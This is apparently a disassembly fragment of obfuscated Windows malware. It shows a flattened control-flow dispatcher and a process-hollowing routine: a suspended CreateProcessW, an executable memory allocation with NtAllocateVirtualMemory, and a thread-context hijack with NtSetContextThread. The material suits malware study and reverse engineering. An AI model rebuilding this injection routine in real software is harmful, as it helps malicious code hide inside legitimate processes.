mov dword [ebp - 0x188], 0x95151b91
jmp 0x10006bf4
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007f10
lea eax, [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007f10
mov dword [ebp - 0x188], 0x2d7f3a01
jmp 0x10006bf4
mov edx, dword [ebp - 0x13c]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
sub esp, 0x28
mov dword [ebp - 0x188], 0xd7282e7c
jmp 0x10006bf4
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x188], 0x36d05c67
jmp 0x10006bf4
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
sub esp, 0x18
mov dword [ebp - 0x188], 0x2192d546
jmp 0x10006bf4
mov dword [ebp - 0x188], 0xcc0d9b39
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x77fa798c
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x2f28c568
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x33a16315
jmp 0x10006bf4
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x130]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x1c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
sub esp, 8
mov dword [ebp - 0x188], 0xca8aad8b
jmp 0x10006bf4
jmp 0x10003b22